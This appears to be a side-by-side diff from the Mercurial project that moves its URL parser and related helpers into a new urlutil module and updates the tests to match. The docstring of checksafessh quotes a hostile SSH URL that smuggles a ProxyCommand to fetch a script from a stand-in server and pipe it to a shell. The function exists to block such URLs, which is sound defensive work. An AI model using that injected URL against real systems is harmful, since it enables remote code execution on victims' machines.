def __bytes__(self):
r"""Join the URL's components back into a URL string.
Examples:
>>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
>>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
'http://user:pw@host:80/?foo=bar&baz=42'
>>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
'http://user:pw@host:80/?foo=bar%3dbaz'
>>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
'ssh://user:pw@[::1]:2200//home/joe#'
>>> bytes(url(b'http://localhost:80//'))
'http://localhost:80//'
>>> bytes(url(b'http://localhost:80/'))
'http://localhost:80/'
>>> bytes(url(b'http://localhost:80'))
'http://localhost:80/'
>>> bytes(url(b'bundle:foo'))
'bundle:foo'
>>> bytes(url(b'bundle://../foo'))
'bundle:../foo'
>>> bytes(url(b'path'))
'path'
>>> bytes(url(b'file:///tmp/foo/bar'))
'file:///tmp/foo/bar'
>>> bytes(url(b'file:///c:/tmp/foo/bar'))
'file:///c:/tmp/foo/bar'
>>> print(url(br'bundle:foo\bar'))
bundle:foo\bar
>>> print(url(br'file:///D:\data\hg'))
file:///D:\data\hg
"""
if self._localpath:
s = self.path
if self.scheme == b'bundle':
s = b'bundle:' + s
if self.fragment:
s += b'#' + self.fragment
return s
s = self.scheme + b':'
if self.user or self.passwd or self.host:
s += b'//'
elif self.scheme and (
not self.path
or self.path.startswith(b'/')
or hasdriveletter(self.path)
):
s += b'//'
if hasdriveletter(self.path):
s += b'/'
if self.user:
s += urlreq.quote(self.user, safe=self._safechars)
if self.passwd:
s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
if self.user or self.passwd:
s += b'@'
if self.host:
if not (self.host.startswith(b'[') and self.host.endswith(b']')):
s += urlreq.quote(self.host)
else:
s += self.host
if self.port:
s += b':' + urlreq.quote(self.port)
if self.host:
s += b'/'
if self.path:
# TODO: similar to the query string, we should not unescape the
# path when we store it, the path might contain '%2f' = '/',
# which we should *not* escape.
s += urlreq.quote(self.path, safe=self._safepchars)
if self.query:
# we store the query in escaped form.
s += b'?' + self.query
if self.fragment is not None:
s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
return s
__str__ = encoding.strmethod(__bytes__)
def authinfo(self):
user, passwd = self.user, self.passwd
try:
self.user, self.passwd = None, None
s = bytes(self)
finally:
self.user, self.passwd = user, passwd
if not self.user:
return (s, None)
# authinfo[1] is passed to urllib2 password manager, and its
# URIs must not contain credentials. The host is passed in the
# URIs list because Python < 2.4.3 uses only that to search for
# a password.
return (s, (None, (s, self.host), self.user, self.passwd or b''))
def isabs(self):
if self.scheme and self.scheme != b'file':
return True # remote URL
if hasdriveletter(self.path):
return True # absolute for our purposes - can't be joined()
if self.path.startswith(br'\\'):
return True # Windows UNC path
if self.path.startswith(b'/'):
return True # POSIX-style
return False
def localpath(self):
# type: () -> bytes
if self.scheme == b'file' or self.scheme == b'bundle':
path = self.path or b'/'
# For Windows, we need to promote hosts containing drive
# letters to paths with drive letters.
if hasdriveletter(self._hostport):
path = self._hostport + b'/' + self.path
elif (
self.host is not None and self.path and not hasdriveletter(path)
):
path = b'/' + path
return path
return self._origpath
def islocal(self):
'''whether localpath will return something that posixfile can open'''
return (
not self.scheme
or self.scheme == b'file'
or self.scheme == b'bundle'
)
def hasscheme(path):
# type: (bytes) -> bool
return bool(url(path).scheme) # cast to help pytype
def hasdriveletter(path):
# type: (bytes) -> bool
return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
def urllocalpath(path):
# type: (bytes) -> bytes
return url(path, parsequery=False, parsefragment=False).localpath()
def checksafessh(path):
# type: (bytes) -> None
"""check if a path / url is a potentially unsafe ssh exploit (SEC)
This is a sanity check for ssh urls. ssh will parse the first item as
an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
Let's prevent these potentially exploited urls entirely and warn the
user.
Raises an error.Abort when the url is unsafe.
"""
path = urlreq.unquote(path)
if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
raise error.Abort(
_(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
)
def hidepassword(u):
# type: (bytes) -> bytes
'''hide user credential in a url string'''
u = url(u)
if u.passwd:
u.passwd = b'***'
return bytes(u)
def removeauth(u):
# type: (bytes) -> bytes
'''remove all authentication information from a url string'''
u = url(u)
u.user = u.passwd = None
return bytes(u)
timecount = unitcountfn( timecount = unitcountfn(
(1, 1e3, _(b'%.0f s')), (1, 1e3, _(b'%.0f s')),
(100, 1, _(b'%.1f s')), (100, 1, _(b'%.1f s')),
(10, 1, _(b'%.2f s')), (10, 1, _(b'%.2f s')),
(1, 1, _(b'%.3f s')), (1, 1, _(b'%.3f s')),
(100, 0.001, _(b'%.1f ms')), (100, 0.001, _(b'%.1f ms')),

mercurial/utils/urlutil.py

# utils.urlutil - code related to [paths] management # utils.urlutil - code related to [paths] management
# #
# Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
# #
# This software may be used and distributed according to the terms of the # This software may be used and distributed according to the terms of the
# GNU General Public License version 2 or any later version. # GNU General Public License version 2 or any later version.
import os import os
import re as remod
import socket
from ..i18n import _ from ..i18n import _
from ..pycompat import ( from ..pycompat import (
getattr, getattr,
setattr, setattr,
) )
from .. import ( from .. import (
encoding,
error, error,
pycompat, pycompat,
util, urllibcompat,
) )
if pycompat.TYPE_CHECKING:
from typing import (
Union,
)
urlreq = urllibcompat.urlreq
def getport(port):
# type: (Union[bytes, int]) -> int
"""Return the port for a given network service.
If port is an integer, it's returned as is. If it's a string, it's
looked up using socket.getservbyname(). If there's no matching
service, error.Abort is raised.
"""
try:
return int(port)
except ValueError:
pass
try:
return socket.getservbyname(pycompat.sysstr(port))
except socket.error:
raise error.Abort(
_(b"no port number associated with service '%s'") % port
)
class url(object):
r"""Reliable URL parser.
This parses URLs and provides attributes for the following
components:
<scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
Missing components are set to None. The only exception is
fragment, which is set to '' if present but empty.
If parsefragment is False, fragment is included in query. If
parsequery is False, query is included in path. If both are
False, both fragment and query are included in path.
See http://www.ietf.org/rfc/rfc2396.txt for more information.
Note that for backward compatibility reasons, bundle URLs do not
take host names. That means 'bundle://../' has a path of '../'.
Examples:
>>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
<url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
>>> url(b'ssh://[::1]:2200//home/joe/repo')
<url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
>>> url(b'file:///home/joe/repo')
<url scheme: 'file', path: '/home/joe/repo'>
>>> url(b'file:///c:/temp/foo/')
<url scheme: 'file', path: 'c:/temp/foo/'>
>>> url(b'bundle:foo')
<url scheme: 'bundle', path: 'foo'>
>>> url(b'bundle://../foo')
<url scheme: 'bundle', path: '../foo'>
>>> url(br'c:\foo\bar')
<url path: 'c:\\foo\\bar'>
>>> url(br'\\blah\blah\blah')
<url path: '\\\\blah\\blah\\blah'>
>>> url(br'\\blah\blah\blah#baz')
<url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
>>> url(br'file:///C:\users\me')
<url scheme: 'file', path: 'C:\\users\\me'>
Authentication credentials:
>>> url(b'ssh://joe:xyz@x/repo')
<url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
>>> url(b'ssh://joe@x/repo')
<url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
Query strings and fragments:
>>> url(b'http://host/a?b#c')
<url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
>>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
<url scheme: 'http', host: 'host', path: 'a?b#c'>
Empty path:
>>> url(b'')
<url path: ''>
>>> url(b'#a')
<url path: '', fragment: 'a'>
>>> url(b'http://host/')
<url scheme: 'http', host: 'host', path: ''>
>>> url(b'http://host/#a')
<url scheme: 'http', host: 'host', path: '', fragment: 'a'>
Only scheme:
>>> url(b'http:')
<url scheme: 'http'>
"""
_safechars = b"!~*'()+"
_safepchars = b"/!~*'()+:\\"
_matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
def __init__(self, path, parsequery=True, parsefragment=True):
# type: (bytes, bool, bool) -> None
# We slowly chomp away at path until we have only the path left
self.scheme = self.user = self.passwd = self.host = None
self.port = self.path = self.query = self.fragment = None
self._localpath = True
self._hostport = b''
self._origpath = path
if parsefragment and b'#' in path:
path, self.fragment = path.split(b'#', 1)
# special case for Windows drive letters and UNC paths
if hasdriveletter(path) or path.startswith(b'\\\\'):
self.path = path
return
# For compatibility reasons, we can't handle bundle paths as
# normal URLS
if path.startswith(b'bundle:'):
self.scheme = b'bundle'
path = path[7:]
if path.startswith(b'//'):
path = path[2:]
self.path = path
return
if self._matchscheme(path):
parts = path.split(b':', 1)
if parts[0]:
self.scheme, path = parts
self._localpath = False
if not path:
path = None
if self._localpath:
self.path = b''
return
else:
if self._localpath:
self.path = path
return
if parsequery and b'?' in path:
path, self.query = path.split(b'?', 1)
if not path:
path = None
if not self.query:
self.query = None
# // is required to specify a host/authority
if path and path.startswith(b'//'):
parts = path[2:].split(b'/', 1)
if len(parts) > 1:
self.host, path = parts
else:
self.host = parts[0]
path = None
if not self.host:
self.host = None
# path of file:///d is /d
# path of file:///d:/ is d:/, not /d:/
if path and not hasdriveletter(path):
path = b'/' + path
if self.host and b'@' in self.host:
self.user, self.host = self.host.rsplit(b'@', 1)
if b':' in self.user:
self.user, self.passwd = self.user.split(b':', 1)
if not self.host:
self.host = None
# Don't split on colons in IPv6 addresses without ports
if (
self.host
and b':' in self.host
and not (
self.host.startswith(b'[') and self.host.endswith(b']')
)
):
self._hostport = self.host
self.host, self.port = self.host.rsplit(b':', 1)
if not self.host:
self.host = None
if (
self.host
and self.scheme == b'file'
and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
):
raise error.Abort(
_(b'file:// URLs can only refer to localhost')
)
self.path = path
# leave the query string escaped
for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
v = getattr(self, a)
if v is not None:
setattr(self, a, urlreq.unquote(v))
def copy(self):
u = url(b'temporary useless value')
u.path = self.path
u.scheme = self.scheme
u.user = self.user
u.passwd = self.passwd
u.host = self.host
u.path = self.path
u.query = self.query
u.fragment = self.fragment
u._localpath = self._localpath
u._hostport = self._hostport
u._origpath = self._origpath
return u
@encoding.strmethod
def __repr__(self):
attrs = []
for a in (
b'scheme',
b'user',
b'passwd',
b'host',
b'port',
b'path',
b'query',
b'fragment',
):
v = getattr(self, a)
if v is not None:
attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
return b'<url %s>' % b', '.join(attrs)
def __bytes__(self):
r"""Join the URL's components back into a URL string.
Examples:
>>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
>>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
'http://user:pw@host:80/?foo=bar&baz=42'
>>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
'http://user:pw@host:80/?foo=bar%3dbaz'
>>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
'ssh://user:pw@[::1]:2200//home/joe#'
>>> bytes(url(b'http://localhost:80//'))
'http://localhost:80//'
>>> bytes(url(b'http://localhost:80/'))
'http://localhost:80/'
>>> bytes(url(b'http://localhost:80'))
'http://localhost:80/'
>>> bytes(url(b'bundle:foo'))
'bundle:foo'
>>> bytes(url(b'bundle://../foo'))
'bundle:../foo'
>>> bytes(url(b'path'))
'path'
>>> bytes(url(b'file:///tmp/foo/bar'))
'file:///tmp/foo/bar'
>>> bytes(url(b'file:///c:/tmp/foo/bar'))
'file:///c:/tmp/foo/bar'
>>> print(url(br'bundle:foo\bar'))
bundle:foo\bar
>>> print(url(br'file:///D:\data\hg'))
file:///D:\data\hg
"""
if self._localpath:
s = self.path
if self.scheme == b'bundle':
s = b'bundle:' + s
if self.fragment:
s += b'#' + self.fragment
return s
s = self.scheme + b':'
if self.user or self.passwd or self.host:
s += b'//'
elif self.scheme and (
not self.path
or self.path.startswith(b'/')
or hasdriveletter(self.path)
):
s += b'//'
if hasdriveletter(self.path):
s += b'/'
if self.user:
s += urlreq.quote(self.user, safe=self._safechars)
if self.passwd:
s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
if self.user or self.passwd:
s += b'@'
if self.host:
if not (self.host.startswith(b'[') and self.host.endswith(b']')):
s += urlreq.quote(self.host)
else:
s += self.host
if self.port:
s += b':' + urlreq.quote(self.port)
if self.host:
s += b'/'
if self.path:
# TODO: similar to the query string, we should not unescape the
# path when we store it, the path might contain '%2f' = '/',
# which we should *not* escape.
s += urlreq.quote(self.path, safe=self._safepchars)
if self.query:
# we store the query in escaped form.
s += b'?' + self.query
if self.fragment is not None:
s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
return s
__str__ = encoding.strmethod(__bytes__)
def authinfo(self):
user, passwd = self.user, self.passwd
try:
self.user, self.passwd = None, None
s = bytes(self)
finally:
self.user, self.passwd = user, passwd
if not self.user:
return (s, None)
# authinfo[1] is passed to urllib2 password manager, and its
# URIs must not contain credentials. The host is passed in the
# URIs list because Python < 2.4.3 uses only that to search for
# a password.
return (s, (None, (s, self.host), self.user, self.passwd or b''))
def isabs(self):
if self.scheme and self.scheme != b'file':
return True # remote URL
if hasdriveletter(self.path):
return True # absolute for our purposes - can't be joined()
if self.path.startswith(br'\\'):
return True # Windows UNC path
if self.path.startswith(b'/'):
return True # POSIX-style
return False
def localpath(self):
# type: () -> bytes
if self.scheme == b'file' or self.scheme == b'bundle':
path = self.path or b'/'
# For Windows, we need to promote hosts containing drive
# letters to paths with drive letters.
if hasdriveletter(self._hostport):
path = self._hostport + b'/' + self.path
elif (
self.host is not None and self.path and not hasdriveletter(path)
):
path = b'/' + path
return path
return self._origpath
def islocal(self):
'''whether localpath will return something that posixfile can open'''
return (
not self.scheme
or self.scheme == b'file'
or self.scheme == b'bundle'
)
def hasscheme(path):
# type: (bytes) -> bool
return bool(url(path).scheme) # cast to help pytype
def hasdriveletter(path):
# type: (bytes) -> bool
return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
def urllocalpath(path):
# type: (bytes) -> bytes
return url(path, parsequery=False, parsefragment=False).localpath()
def checksafessh(path):
# type: (bytes) -> None
"""check if a path / url is a potentially unsafe ssh exploit (SEC)
This is a sanity check for ssh urls. ssh will parse the first item as
an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
Let's prevent these potentially exploited urls entirely and warn the
user.
Raises an error.Abort when the url is unsafe.
"""
path = urlreq.unquote(path)
if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
raise error.Abort(
_(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
)
def hidepassword(u):
# type: (bytes) -> bytes
'''hide user credential in a url string'''
u = url(u)
if u.passwd:
u.passwd = b'***'
return bytes(u)
def removeauth(u):
# type: (bytes) -> bytes
'''remove all authentication information from a url string'''
u = url(u)
u.user = u.passwd = None
return bytes(u)
class paths(dict): class paths(dict):
"""Represents a collection of paths and their configs. """Represents a collection of paths and their configs.
Data is initially derived from ui instances and the config files they have Data is initially derived from ui instances and the config files they have
loaded. loaded.
""" """
def __init__(self, ui): def __init__(self, ui):
_pathsuboptions[option] = (attr, func) _pathsuboptions[option] = (attr, func)
return func return func
return register return register
@pathsuboption(b'pushurl', b'pushloc') @pathsuboption(b'pushurl', b'pushloc')
def pushurlpathoption(ui, path, value): def pushurlpathoption(ui, path, value):
u = util.url(value) u = url(value)
# Actually require a URL. # Actually require a URL.
if not u.scheme: if not u.scheme:
ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name) ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
return None return None
# Don't support the #foo syntax in the push URL to declare branch to # Don't support the #foo syntax in the push URL to declare branch to
# push. # push.
if u.fragment: if u.fragment:
If ``name`` is not defined, we require that the location be a) a local If ``name`` is not defined, we require that the location be a) a local
filesystem path with a .hg directory or b) a URL. If not, filesystem path with a .hg directory or b) a URL. If not,
``ValueError`` is raised. ``ValueError`` is raised.
""" """
if not rawloc: if not rawloc:
raise ValueError(b'rawloc must be defined') raise ValueError(b'rawloc must be defined')
# Locations may define branches via syntax <base>#<branch>. # Locations may define branches via syntax <base>#<branch>.
u = util.url(rawloc) u = url(rawloc)
branch = None branch = None
if u.fragment: if u.fragment:
branch = u.fragment branch = u.fragment
u.fragment = None u.fragment = None
self.url = u self.url = u
# the url from the config/command line before dealing with `path://` # the url from the config/command line before dealing with `path://`
self.raw_url = u.copy() self.raw_url = u.copy()

tests/test-doctest.py

('mercurial.store', '{}'), ('mercurial.store', '{}'),
('mercurial.subrepo', '{}'), ('mercurial.subrepo', '{}'),
('mercurial.templater', '{}'), ('mercurial.templater', '{}'),
('mercurial.ui', '{}'), ('mercurial.ui', '{}'),
('mercurial.util', "{'testtarget': 'platform'}"), ('mercurial.util', "{'testtarget': 'platform'}"),
('mercurial.util', '{}'), ('mercurial.util', '{}'),
('mercurial.utils.dateutil', '{}'), ('mercurial.utils.dateutil', '{}'),
('mercurial.utils.stringutil', '{}'), ('mercurial.utils.stringutil', '{}'),
('mercurial.utils.urlutil', '{}'),
('tests.drawdag', '{}'), ('tests.drawdag', '{}'),
('tests.test-run-tests', '{}'), ('tests.test-run-tests', '{}'),
('tests.test-url', "{'optionflags': 4}"), ('tests.test-url', "{'optionflags': 4}"),
] ]
) )
unexpectedly_run = mods_tested.difference(expected_mods_tested) unexpectedly_run = mods_tested.difference(expected_mods_tested)
not_run = expected_mods_tested.difference(mods_tested) not_run = expected_mods_tested.difference(mods_tested)

tests/test-hgweb-auth.py

from __future__ import absolute_import, print_function from __future__ import absolute_import, print_function
from mercurial import demandimport from mercurial import demandimport
demandimport.enable() demandimport.enable()
from mercurial import ( from mercurial import (
error, error,
pycompat, pycompat,
ui as uimod, ui as uimod,
url, url,
util, util,
) )
from mercurial.utils import stringutil from mercurial.utils import (
stringutil,
urlutil,
)
urlerr = util.urlerr urlerr = util.urlerr
urlreq = util.urlreq urlreq = util.urlreq
class myui(uimod.ui): class myui(uimod.ui):
def interactive(self): def interactive(self):
return False return False
auth = {k: v for k, v in auth.items() if v is not None} auth = {k: v for k, v in auth.items() if v is not None}
ui = writeauth(auth) ui = writeauth(auth)
def _test(uri): def _test(uri):
print('URI:', pycompat.strurl(uri)) print('URI:', pycompat.strurl(uri))
try: try:
pm = url.passwordmgr(ui, urlreq.httppasswordmgrwithdefaultrealm()) pm = url.passwordmgr(ui, urlreq.httppasswordmgrwithdefaultrealm())
u, authinfo = util.url(uri).authinfo() u, authinfo = urlutil.url(uri).authinfo()
if authinfo is not None: if authinfo is not None:
pm.add_password(*_stringifyauthinfo(authinfo)) pm.add_password(*_stringifyauthinfo(authinfo))
print( print(
' ', ' ',
tuple( tuple(
pycompat.strurl(a) pycompat.strurl(a)
for a in pm.find_user_password('test', pycompat.strurl(u)) for a in pm.find_user_password('test', pycompat.strurl(u))
), ),
{b'y.prefix': b'http://y@example.org/foo', b'y.password': b'ypassword'}, {b'y.prefix': b'http://y@example.org/foo', b'y.password': b'ypassword'},
urls=[b'http://example.org/foo'], urls=[b'http://example.org/foo'],
) )
def testauthinfo(fullurl, authurl): def testauthinfo(fullurl, authurl):
print('URIs:', fullurl, authurl) print('URIs:', fullurl, authurl)
pm = urlreq.httppasswordmgrwithdefaultrealm() pm = urlreq.httppasswordmgrwithdefaultrealm()
ai = _stringifyauthinfo(util.url(pycompat.bytesurl(fullurl)).authinfo()[1]) ai = _stringifyauthinfo(
urlutil.url(pycompat.bytesurl(fullurl)).authinfo()[1]
)
pm.add_password(*ai) pm.add_password(*ai)
print(pm.find_user_password('test', authurl)) print(pm.find_user_password('test', authurl))
print('\n*** Test urllib2 and util.url\n') print('\n*** Test urllib2 and urlutil.url\n')
testauthinfo('http://user@example.com:8080/foo', 'http://example.com:8080/foo') testauthinfo('http://user@example.com:8080/foo', 'http://example.com:8080/foo')

tests/test-hgweb-auth.py.out

abort abort
CFG: {b'y.password': b'ypassword', b'y.prefix': b'http://y@example.org/foo'} CFG: {b'y.password': b'ypassword', b'y.prefix': b'http://y@example.org/foo'}
URI: http://y@example.org/foo URI: http://y@example.org/foo
('y', 'ypassword') ('y', 'ypassword')
CFG: {b'y.password': b'ypassword', b'y.prefix': b'http://y@example.org/foo'} CFG: {b'y.password': b'ypassword', b'y.prefix': b'http://y@example.org/foo'}
URI: http://example.org/foo URI: http://example.org/foo
abort abort
*** Test urllib2 and util.url *** Test urllib2 and urlutil.url
URIs: http://user@example.com:8080/foo http://example.com:8080/foo URIs: http://user@example.com:8080/foo http://example.com:8080/foo
('user', '') ('user', '')

tests/test-url.py

_verifycert({'subject': (((u'commonName', u'a*b*.com'),),)}, 'axxbxxc.com'), _verifycert({'subject': (((u'commonName', u'a*b*.com'),),)}, 'axxbxxc.com'),
b'too many wildcards in certificate DNS name: a*b*.com', b'too many wildcards in certificate DNS name: a*b*.com',
) )
def test_url(): def test_url():
""" """
>>> from mercurial import error, pycompat >>> from mercurial import error, pycompat
>>> from mercurial.util import url >>> from mercurial.utils.urlutil import url
>>> from mercurial.utils.stringutil import forcebytestr >>> from mercurial.utils.stringutil import forcebytestr
This tests for edge cases in url.URL's parsing algorithm. Most of This tests for edge cases in url.URL's parsing algorithm. Most of
these aren't useful for documentation purposes, so they aren't these aren't useful for documentation purposes, so they aren't
part of the class's doc tests. part of the class's doc tests.
Query strings and fragments: Query strings and fragments: